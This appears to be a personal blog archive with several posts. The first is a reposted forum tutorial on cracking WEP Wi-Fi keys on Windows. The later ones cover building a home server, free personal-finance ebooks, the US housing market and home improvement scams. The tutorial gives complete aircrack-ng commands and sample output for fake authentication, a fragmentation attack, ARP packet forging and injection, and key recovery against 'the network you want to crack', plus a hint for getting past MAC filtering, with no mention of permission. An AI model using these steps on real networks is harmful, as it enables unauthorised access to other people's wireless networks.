Showing posts with label home. Show all posts
Showing posts with label home. Show all posts

4/14/2010

How to crack WEP key in Windows!

Got this article from the TAZ forum in this link.

Quoted content below:

GETTING EVERYTHING READY:

- The first and most important thing to do is to get an adapter that works with airodump:
check this thread for that:
http://tazforum.thetazzone.com/viewtopic.php?t=6235
and this one:
http://tazforum.thetazzone.com/viewtopi ... 01&start=0

- Then you need to install the proper drivers for your card. (I used the commview drivers.) If your card isn't compatible with Commview you'll need to install the wildpackets drivers.

to do this for cards compatible with commview download commview here and install its drivers:
http://www.tamos.com/bitrix/redirect.ph ... es/ca5.zip

for other cards download the wildpackets drivers here:
http://www.wildpackets.com/support/downloads/drivers

NOTE: I'm going to base the rest of this tutorial on a card with the commview drivers installed!

- Next step is to download this .dll file (again only commview driver users):
http://darkircop.org/commview.dll

- Next up, download the aircrack package. Download it here:
http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

unzip the file to your c:\ drive (it can be another drive but this is the easiest)

put the commview.dll file you just downloaded in the map you extracted (it's called aircrack and if you extracted it to your c: drive like I said it should be in c:\aircrack\)

Now go to you place where you installed Commview in (the program itself) and look for a file called "ca2k.dll" (default install dir is c:\program files\commview for wifi\)

Copy this file to the same folder as the commview.dll (c:\aircrack\)

OKAY that was a whole lot! this was just to get everything ready! If you did all of this correct you'll be able to move to the next step!
-------------------------------------------------------------------------------------------

THE CRACKING:

Step 1:
- Open a command prompt (start > run > cmd.exe)

Step 2:
- type the following in the command prompt:

Quote:

cd c:\aircrack\


- HIT ENTER

Step 3:
- type the following in the same command prompt:

Quote:

airserv-ng -d commview.dll


- HIT ENTER
- You should see something like this coming up in the command prompt

Quote:

Opening card commview.dll
Setting chan 1
Opening sock port 666
Serving commview.dll chan 1 on port 666



Step 4:
- Open a new command prompt (LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES!!)
- Typ the following the the new command prompt:

Quote:

cd c:\aircrack\


-HIT ENTER

Step 5:
- Now typ this in the same command prompt:

Quote:

airodump-ng 127.0.0.1:666


- HIT ENTER

note: if you know what channel the to-monitor-network is on you can make it this. I recommend this!:

Quote:

airodump-ng --channel YOURCHANNELNUMBER HERE 127.0.0.1:666



Airodump-ng should start capturing data from the networks on the given channel now, you'll notice it isn't going fast (except if it's a big company's network or something). We are going to speed this process up!
Take a note of the following:
1: BSSID of the network you want to crack = MAC address.
2: ESSID of the network you want to crack = name of the network (example: wifi16, mynetwork,...)
3: The mac of the card you are using to monitor the packets

LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN!!!

Step 6:
- Open a new command prompt
- Type in the following:

Quote:

cd c:\aircrack\


- HIT ENTER

Step 7:
- Type in the following in command prompt:

Quote:

aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666



yes quite confusing so a quick example:
ESSID = wifi16
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666


if all goes well you'll get this as the outcome:

Quote:

Sending Authentication Request
Authentication successful
Sending Association Request
Association successful :-)



if you get:

Quote:

AP rejects the source MAC address


It means MAC filtering is enabled on the network you want to crack and you'll need to get hold of a mac address that's allowed access.

if you keep getting:

Quote:

sending authentication request


Try moving closer to the AP!

Step 8:
in the same command prompt as the one in step 7 type:

Quote:

aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666



yes quite confusing once again so a quick example:
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -5 -b 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666


if all goes well you'll get this:

Quote:

Waiting for a data packet...
Read #number packets...



Step 9:
if you wait a little bit you'll soon be prompted with a packet like this:

Quote:


Size: 120, FromDS: 1, ToDS: 0 (WEP)

BSSID = the bssid
Dest. MAC = the dest mac
Source MAC = the source mac

0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B..........l~@.
0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.
0x0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 mm.......o..Sdn.
0x0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4 ..*pI.....'.. 0.
0x0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p...YS.4W'.l....
0x0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf...G-&.9W.)..
0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D...w.....



note: size can vary, I always pressed in y and it worked
- press in Y
- HIT ENTER

You should see something like this coming up (or similar):

Quote:

Saving chosen packet in replay_src-0124-161120.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream



Note 1: It doesn't need to be 1500 bytes!!
Note 2: Check the bold part, you're going to need this file!

AGAIN DON'T CLOSE THIS COMMAND PROMPT!!

if you keep getting:

Quote:

Data packet found!
Sending fragmented packet
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
No answer, repeating...
Sending fragmented packet
...


Just keep trying! It automatically starts over again (moving closer to the AP has been reported to help.)



anyways, if you got the bytes of keystream (everything worked) it's time for the next step!

Step 10:
- Press CTRL + C in the command prompt used in step 8
- Now type in the following:

Quote:

packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l (= an ELL not a 1) 192.168.1.1 -y fragment-0124-161129.xor -w arp-request



Remember the file I made bold in part 8? Well it's obviously the same as in 9 meaning you need to put the same filename here.
The part I made green here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps!

Step 11:
Now that we've got our ARP REQ packet we can start injecting!
Here's how to do this.
- Go to the command prompt used in step 9
- Type in the following:

Quote:

aireplay-ng -2 -r arp-request 127.0.0.1:666


The green part once again indicates the filename!

You should now see something like this coming up:

Quote:

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......
0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......
0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M
0x0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :.....gC.V$.....
0x0040: d64f b709 .O..

Use this packet ?


- Type in Y
- HIT ENTER

This should come up now:

Quote:

Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.

sent #numberOfPackets ... (#number pps)


You'll see the numberOfPackets rising really fast, you are injecting these packets now.

Step 12:
Now go back to the command prompt where you had airodump-ng in open
and press CTRL + C
now type in the following:

Quote:

airodump-ng --channel CHANNELYOUWANTTOCAPTUREFROM --write Filename 127.0.0.1:666


Note: Filename = The name of the file where the data packets are saved, this will be used in the next step

If all goes correct you should be capturing as much packets per second as you are injecting (maybe even more).

Step 13:
when you think you have enough...
note: 200000 min for 64bit (just capture 1Million to be sure)
...press CTRL + C in the command prompt that has airodump-ng running and enter the following:

Quote:

aircrack-ng -n 64 Filename.cap



note:
Filename = see previous step
64 = the bit depth of the key (128 for 128bit etc...)


and if it goes like planned a message will pop-up saying:

Quote:

KEY FOUND: YourKey



That's it! I hope this was helpful, any question/remarks/complaints please ask/tell and I'll try to help/respond as soon as possible!!

Extra useful links:
WEP CRACK tutorial from nokia:
http://tazforum.thetazzone.com/viewtopi ... f1722a5366

Info about the attack used(fragmentation):
http://www.aircrack-ng.org/doku.php?id=fragmentation

Zermelo's thread about this subject:
http://tazforum.thetazzone.com/viewtopi ... sc&start=0

Topic on another forum about this:
http://tinyshell.be/aircrackng/forum/in ... pic=1626.0

8/20/2008

Home server guide

If you are interested in utilizing your broad band high speed internet connection with your own server this is the guide that you want to take a look: Set Up a Home Server .

Quote below:

Introduction

Before You Start - Alternatives

Setting up a home server can be a lot of fun and a great learning experience. But, depending on what you want to use it for and how good your connection to the Internet is, a home server may not be the best alternative. If your aim is serving web pages reliably or otherwise delivering information outside your home to friends or customers, it makes more sense to put the server into "The Cloud" - in other words, in a commercial data center. This saves you the worry and hassle of keeping it running or dealing with interruptions to your home's power, cable or DSL service. "Cloud Computing," or renting just as much of a server as you need on an hourly or monthly basis, is becoming quite popular for web companies or growing businesses, but the rates are inexpensive enough that you should consider it as an alternative to a home server. There are many cloud computing companies, ranging from Amazon Web Services which requires that you learn their command line interface to initiate a new server, to ENKI which offers personal support for getting you up and running. This isn't the place to go into detail, but you can learn more by Googling "Cloud Computing."

What you'll need

To build your own server, you need just a few components, some or all of which you may well have already:

  • A computer
  • A broadband network connection
  • A network router, with Ethernet (CAT5) cable
  • A monitor and keyboard (just for the first few steps)
  • A CD/DVD drive/burner will be handy if you plan to use the server for media.

The computer

A server doesn't have to be particularly powerful. eBay runs on mega-thousand-dollar Sun computers, and Google uses thousands of machines to power its search. But for personal use, a server needs considerably less horsepower than your average desktop computer. While other computers busy themselves with complex tasks like despeckling photographs and calculating missile trajectories, your home server has a much simpler task: receiving requests for data and then sending that data as requested. Your server won't use much processing power, especially without a graphical interface to worry about. A machine with 64MB of RAM and a 300MHz processor can make a perfectly good server; with slightly more robust specs, it can handle almost anything you'll throw at it.

An old machine can be turned into a server with minimal effort. You may already have a perfect machine for the job sitting in your attic. Or a relative or a friend might want to get rid of her older desktop; or you may well be able to pick up a suitable model cheap or free from a swap meet, a classified ad, or online equivalents like freecycle.org and craigslist.org. Alternately, you can buy a new machine to use as your server. Each approach has its advantages.

The reasons you might not want to use an old machine include:

Old hardware can be unreliable. Sometimes replacing bad RAM or putting in a new heatsink will fix the problem, but sometimes a computer just crashes every few hours, regardless of what operating system is installed. Time to donate or recycle it.

Space is an issue. If the old machine is in a big tower case and you are in a small apartment, you might want to get it a new case -- or you might want to buy a new server that's one tenth the size.

You want it quiet. Computers get hot, so fans are installed to keep them cool. Fans are loud, even the ones marketed as "whisper-quiet." You might not notice that so much in an office setting, but when a server is left running 24 hours a day (as they should be), it becomes rather irritating to live with in close quarters. If you're going to be sharing a living space with your server, you may want to invest in a fanless machine.

You don't have an old computer on hand, and you live in a place where finding cheap, used hardware is difficult or expensive.

If any of the above apply, you can skip to the section titled Buying a server.


Repurposing a used computer

If you go the way of turning an older machine into a server, congratulations. If it's a particularly geriatric model, you might have a little work ahead of you to get it ready for its new assignment. Upgrading a couple of its parts will make it a powerhouse for years to come. You can find plenty of support, if you have questions about what connector goes where, on hardware-nerd sites like tomshardware.com and arstechnica.com. Or, if messing with wires and chips is too daunting, your local computer shop should do it for a minimal fee.

Architecture

What sort of computer you use -- i386, PowerPC, Gameboy -- matters surprisingly little. Linux and BSD, the preferable server operating systems, run on just about any architecture you care to install them on. The official list of chips on which Debian can run includes Intel x86, Motorola 680xx, Sun Sparc, Alpha, PowerPC, ARM, MIPS, HP PA, Intel 64-bit, and S/390 processors, with more in the testing phase. That covers the vast majority of consumer computers ever made. Buy a notebook (the paper kind) and label it My Server. Write down all the model numbers and details of the hardware you set up.

Memory

RAM is cheap these days, and more is generally better.


Storage

The hard drive is the heart of the server. If everything else dies, you can pull out the hard drive and put it in another (comparable) machine, and pick up right where you left off. Depending on how many slots your computer is built with, you might want to have one hard drive or a few. Bigger is better.

Hard drives continuously drop in price. Start fresh with a new one. If you're disposing of an old drive and replacing it with a new one, don't forget to securely delete any private information before you put it in the trash.

The innards of a hard drive spin around thousands of times per second, so it's very likely that the hard drive will be the first component of your server to fail, though you can generally count on a new drive for a few good years at least. Proper backup procedures are crucial; for now, if you have room in your server and in your budget, you may want to slot in a second or even third hard drive. Keeping secondary copies of data in another place -- even if that's just a second drive right next to the first one -- is the way to safeguard your data against hard drive failure.


Cooling

Since the server's going to be running all the time, you need to make sure it doesn't overheat. The machine you have might already be fine in that department, or it might not. If it crashes unexpectedly, or exhibits weird, unpredictable behavior, it may be getting too hot. There's software you can install to monitor the machine's temperature as it runs, and even set it up to e-mail you automatically if it's creeping into the danger zone on a hot day.

You can splurge on a wide variety of methods to keep the CPU and power supply cool, involving air, water, liquid nitrogen, and so on. You also may want to look into underclocking your processor. That makes it run slower (which is fine for a server, remember) but also cooler. If you're handy with solder, there are dozens of underclocking tutorials online for your particular chip type. Generally, though, setting up good airflow through the box is sufficient for most home servers, with some quality fans sensibly arranged to pull air in at one end of the case, direct it over the hot components, and push it out the other. Larger fans tend to be quieter than smaller models, all else being equal. If you're living with the server, you will want quiet fans, the quietest you can get.


Network

The server's also going to need an Ethernet card (also known as a network interface card, or NIC), and one that works with your chosen operating system. You can't go wrong with most cards (especially older models), but you'll definitely want to check the model number on linux-drivers.org or elsewhere on the web before buying a new one. Big brands like 3Com and D-Link are generally a good, reliable bet.

Buying a server

Alternately, you could buy a server. There are plenty of up-to-date guides on the web. You can use a standard desktop computers, which contain powerful, expensive, and hot Intel and AMD-brand chips. That's fine, but brands like Shuttle or Biostar, built on the mini-ITX or nano-ITX specification are smaller, cheaper, and cooler. These can fit in cigar boxes and run silently without fans, on low power. Complete systems using these chipsets can be bought from a variety of specialty retailers, including idotpc.com and mini-itx.com. You shouldn't have to spend more than a couple of hundred dollars for a serviceable system.

The Connection

Apart from that, any sort of connection will do. Super speed is not important (unless you're planning to stream videos to dozens of users). If you have a connection already (probably you do) you can continue to use it as normal. Just keep your server connected to the router. A static IP is not necessary, nor is a business-class connection.

Your choice of providers will vary depending on your area. If you have a choice, pick a provider that offers good, reliable speeds and makes its customers happy. Ask around, or search the web for the phrase "[provider] sucks" if you want to hear the worst. Some providers have very restrictive policies and prefer their users not to do things like build servers; others, like the excellent sonic.net, are thrilled to have adventurous users. The choice between cable, DSL, fiber, satellite, and so on is less important; after trying an assortment, you won't notice a significant difference unless you're streaming video or high-quality audio.

The Router

Get a reliable router. It can be wireless, if you want to connect other computers to it wirelessly, but plan on using a real old-fashioned cable between it and the server. A router is a pretty standard commodity these days; some may have extra features, but it's the basics, not the extras, that count. Again, looking at what other shoppers have liked, on a site like newegg.com, can be an excellent guideline.

The Monitor and Keyboard

If you have an old spare desktop, you may have a spare monitor and keyboard to go with it. Or you can use your current computer, if you're not using a laptop, and willing to switch back and forth while you get things set up. You'll only need these until you get your server up and running. A monitor and keyboard are very handy to have tucked away somewhere for future debugging and upgrading of the server, though.

Power

If you live in an area prone to power surges, rolling brownouts, or the like, or even if you don't, some sort of intermediary between your machine and the AC socket is a good idea. This can be as simple as a $10 surge suppressor (not just an extension cord) or an elaborate power conditioner with hours of battery backup.

Everything in Its Place

After your box is upgraded, you'll need to find a home for it. You'll want to keep a few practical considerations in mind.

  • Don't place it next to a heater, or in a sunbeam. Don't place it by an open window. Dust is a server's enemy too, so don't keep it under the bed.
  • Don't let people trip over the cords, or let pets chew on them.
  • With proper attention to cooling, your server should be quite quiet, but some people are sensitive to even the faintest hum. Especially if your server is not the noiseless variety, you might want it in a less-trafficked area. The website Silent PC Review has advice and hardware recommendations for avoiding the noise.
  • Putting it in a little closet is good, as long as there's enough airflow that the thing won't overheat. Make sure to place it on a hard surface so as not to block the air intakes, leave a few inches of space around it on all sides, and don't pile stuff on top of it.
  • Theft is another concern: keeping a shiny server right by the front door might not be the best idea.
  • A lot of your placement concerns may be dictated by your internet connection, since the server needs to be within a cord's reach of that. If you use a wireless router to share the connection with the rest of the house, that ought to be centrally located, and the server plugged directly into it, wherever it is.
  • It'll also need to be plugged into an electric outlet.
  • If you're going to be doing stuff like ripping CDs with the server, you'll want it conveniently placed for feeding discs in.

Suggested reading

What can you do with that server? Here are some projects:

Suggested readings

Survey of Cloud Computing Vendors

7/02/2007

Personal Finance related Free eBooks!

The mint blog had recently posted 30
Free eBooks To Learn Everything You Want to Know About Personal Finance
. As a new comer to US myself, these listed books cover information from mortgage guide to everyday banking as well as 401k and personal financial advices.

Basics of Personal Finance
Building Wealth:
A Beginner’s Guide to Securing Your Financial Future (1.2 MB 39 pg) - An excellent e-Book from the Federal Reserve Bank of Dallas (putting all the other Feds to shame), this guide helps individuals and families develop a plan for building personal wealth. It presents an overview of personal wealth-building strategies that includes setting financial goals, seeking guidance, budgeting, saving and investing, and managing debt.

Pathways to Getting Ahead (882 KB, 48 pg) - A very good booklet, this guide is targeted to young adults, and aims to spur thinking about the importance of asset building in their personal lives and about how larger policy decisions impact the choices they make.
Money Matters: Your Guide for Financial Security (24 MB, 32 pg) - Get helpful tips on how to set financial goals, organize your financial files, find a financial professional, understand your investment options and responsibilities, and be a wise borrower.

Banking Basics (721 KB, 44 pg) - From the Federal Reserve Bank of Boston, this e-Book provides an introduction to banking for young people that answers many basic questions: What is a bank? What makes one type of account different from another? Why do banks fail and what happens when they do? Updated in 2007 so the spiffy information are current.

Simple Strategies for Managing Your Money (7.5 MB, 12 pg) - From the FDIC. Use the helpful checklists to get financially fit, avoid bad deals and scams, insure all your deposits, and effectively resolve problems with financial institutions.

Taking Control of Your Finances (1.3 MB, 12 pg) - Another handy guide from the FDIC that’s geared toward young adults — from those still in school to just starting a career or a family. Learn the right ways to save and manage money, and how to avoid some common mistakes people make with their money.
Consumer Awareness

Consumer Action Handbook (11 MB, 178 pg) - One of the most popular books published by the federal government (seriously). This 178 page e-Book is an easy-to-read guide offering general buying tips and ways to resolve marketplace problems (including sample complaint letters), as well as information on specific topics such as credit, cars, insurance, and travel. There are thousands of names, addresses, telephone numbers and websites for corporations, trade groups, state and local consumer protection offices and federal agencies.

Consumer’s Almanac (562 KB, 32 pg) - Organize your expenses, save for the future, and manage your credit with monthly calendars and worksheets.

Ten Questions to Ask When Choosing a Financial Planner (347 KB, 14 pg) - A straight-forward brochure from the Certified Financial Planners on 10 questions you should ask when you look for a financial planner — an important decision that should be accompanied by important questions.

Credit & Credit Cards
Building a Better Credit Report (235 KB, 24 pg) - Learn how to legally improve your credit report, how to deal with debt, how to spot credit-related scams, and more.

SHOP:
The Credit Card You Pick Can Save You Money (213 KB, 13 pg) - This consumer awareness brochure provides tips on picking the right credit card that meets your spending and repayment habits. It focuses on key costs and terms to consider such as the annual percentage rate (APR), the cash advances, the annual fee, and the grace period, to name a few.

Healthy Credit (1.2 MB, 12 pg) - Learn more about how your credit report and credit score affect your ability to borrow money and stay healthy financially.

Saving & Investing
66 Ways to Save Money (78 KB) - One of the classic publications with over two million copies distributed. Practical ways to cut everyday costs on transportation, insurance, banking, credit, housing, utilities, food, and more.

Get the Facts on Saving and Investing (5.7 MB, 32 pg) - From the SEC. A road map to start you on a journey to financial security through saving and investing. Use this guide helpful tips and worksheets for calculating net worth, income, and expenses.

How SIPC Protects You (3.3 MB, 10 pg) - If your brokerage firm closes due to bankruptcy or other financial difficulties, the Securities Investor Protection Corporation (SIPC) works to return your assets. Find out what SIPC does and does not cover.

All About The Foreign Exchange Market in the United States (assorted PDF) - Discusses in detail the operations, participants and instruments in the U.S. segment of the global foreign exchange market.

Tools of the Trade: A Basic Guide to Financial Derivatives (2.1 MB, 15 pg) - This guide offers insight into when and how derivatives can be valuable tools for managing financial risk and focuses on pertinent questions to ask yourself and others before you or your company invests.

Mortgages
Know Before You Go' To Get a Mortgage (684 KB, 16 pg) - The purpose of this guide is to provide general mortgage information to consumers and to shed some light on the risks associated with todays more complex mortgage offerings. It is by no means meant to counsel consumers to avoid certain products, but rather to alert them to potential risks, and encourage them to make informed decisions and to be aware that certain products may be appropriate for some borrowers but not for others.

Interest-Only Mortgage Payments and Payment-Option ARM's: Are they for you? - Information to help you decide if an interest-only mortgage payment is right for you (Note: they’re probably not right for you).

Retirement Planning
Savings Fitness: A Guide to Your Money and Your Financial Future (3.2 MB, 16 pg) - Create your personal savings plan and prepare for retirement with this step-by-step guide.

401(k) Plans (41 KB, 7 pg) - Explains what these plans are, what happens when you change employers, and what to do if you need the money before retirement.

Variable Annuities: What You Should Know (11.3 MB, 24 pg) - Explains what they are, how they work, what you have to pay, and questions to ask before you invest.

Estate Planning & Insurance
Estate Planning (48 kb, 9 pg) - Covers why a will is important and how to prepare one; how to estimate the size of your estate and minimize taxes; and how to set up powers of attorney and advance medical directives.

Living Trust Offers (132 KB, 4 pg) - From the Federal Trade Commission, a small pamphlet to find out if living trusts are right for you and how to protect yourself from scams when planning your estate.

What You Should Know About Buying Life Insurance (312 KB, 28 pg) - A quick 28 page pamphlet that describes various types of life insurance, with tips on choosing a company, an agent, and a policy that meets your needs.
Privacy & Security

ID Theft:
What It’s All About (711 KB, 36 pg) - An information small pamphlet from the FTC: Thieves can steal your personal information and use it to commit fraud for long periods without your knowledge. Here’s how to protect yourself, and what to do if you are a victim.

Identity Theft (452 KB, 22 pg) - This booklet is designed to help you understand what identity theft is, how it happens, how to protect yourself, and what steps to take if your identity is stolen. There is a companion video along with the booklet, available here.

Privacy Choices for Your Personal Financial Information (77 KB, 6 pg) - A small booklet that explains your right to opt out of sharing some of your personal information and lists the types of information that financial companies can share about you.

Identity Theft and Your Social Security Number (218 KB, 8 pg) - Someone illegally using your Social Security number can steal your financial identity and your money. Find out how to prevent identify theft, how to report it if you suspect it, and if you can get a new Social Security number if you are a victim.

Phishing and Pharming: Helping Consumers Avoid Internet Fraud (387 KB, 8 pg) - The increase in online transactions has been accompanied by an increase in online identity theft. Fraudulent access to personal information over the Internet is increasingly prevalent and sophisticated. Two forms of identity theft are at the forefront of this Internet piracy: phishing and pharming.

5/02/2007

Joost unlimited! ==REMOVED==

Due to technical difficulties, this post could not add comments. Thus, I'm removing this post and re-creating the new one. Please repost your comments in my new post since I have lost the once that were posted here.

5/01/2007

Hugh housing price decline in US

According to CNN Home sales: Worst drop in 18 years. There were many speculations whether housing bubble will burst anytime soon and here is one of the indication that we might be at reflection point of the price fall.

Sales pace much lower than forecasts, prices show year-over-year drop for eighth straight month.

By Chris Isidore, CNNMoney.com senior writer

4/22/2007

More real-estate related items

Other than Zillow, Cyberhomes also offers similar service. Cyberhomes seems to be faster then Zillow but service itself seems to be quite similar.

Also, Real-estate agents are reducing their 6% fees. Read this article and learn to be able to negotiate with your agents to save more money.

Sellers: Here's How to Successfully Negotiate Your Broker's Fee
1. Use leverage. If you're selling your home and buying a new one at the same time, ask your broker if they'll offer a lower commission in exchange for using their services on both transactions. The same goes for selling an "in-demand" property: If your house is in a good school district and you know it will sell quickly, ask your broker for a commission reduction.

2. Go with a smaller firm. The smaller a company is, the less red tape your realtor has to go through in order to get permission to discount his or her fee, Michael says. That's because the broker's firm typically takes half of his or her commission.

3. Consider the alternatives. If one broker refuses to negotiate, remember there are thousands of others out there. Some, like New York- and New Jersey-based discount brokerage Foxtons, offer full-range services at a fixed 4% rate. The savings, according to Les Newlands, a senior vice president at Foxtons, come from lower overhead expenses, as the firm's brokers have virtual offices.

Buyers, There's Savings in Store for You, Too
Don't be shy to ask your broker for a cut of his commission, especially if you found the listing yourself (not an unlikely scenario these days, as buyers increasingly start their home search online). Just keep in mind that some states prohibit brokers from offering rebates, although their number has decreased in recent years as the Department of Justice (DOJ) seeks legal action against such regulations, alleging they restrict competition among brokers. The 10 states that still have such rebate bans, according to the DOJ, are Alabama, Alaska, Kansas, Louisiana, Mississippi, Missouri, New Jersey, North Dakota, Oklahoma and Oregon.

4/21/2007

Tools for housing search in US

Real estate have been a hot market for quite a while even though there are lots of woe that housing bubble is going to blow. There are regions that housing price did in fact declined, however, there are others where the housing price is still moving upward trend. I'm one of many people out there who would like to own my own "BIG" home one day. Naturally, I accumulated these reference and search sites for couple months without actually seriously looking... I really should...

In any case, I wanted to share this with the reader to save them time trying to find what they need or want. Working with real-estate agent is one thing but doing your own search can help getting what you want for the right price.

First useful site I would like to recommend is housing maps site. This site provide geological map and the listed site information extracted from the famous craigslist site.

Second site is called Zillow, where you can browse and even get estimated value pricing of the neighbors as well as search for active houses in the market.

Third site is from the Google Base where it gathers real-estate information from the web and put them along with the usage of the google map features. Still at beta but still quite useful to get more info on houses on the market.

Last but not least is Ziprealty site. Similar to other three sites, ziprealty provides useful local housing listings as well as local real-estate agent contacts. Not sure how good those agents would be since I have never dealt with one just yet, it can provide you starting point during your search.

4/19/2007

Home owners? Beaware of home improvement scam

Bankrate site is presenting 6 sleazy home improvement scams. I have not yet hired a contractor to do home improvements. Most of the home improvement work had been done by myself and my wife so far. With all the involved costs and head-ache, it almost sounds like it is worth while for you to just do it yourself, doesn't it?

Here's the most common phrases they use that you should be aware of

• "I just happen to be working in your neighborhood."
• "I have materials left over from another job."
• "I need the cash up front."
• "I have a special offer that's good for today only."
• "I can help you finance the project."
• "I want to use your home as a model."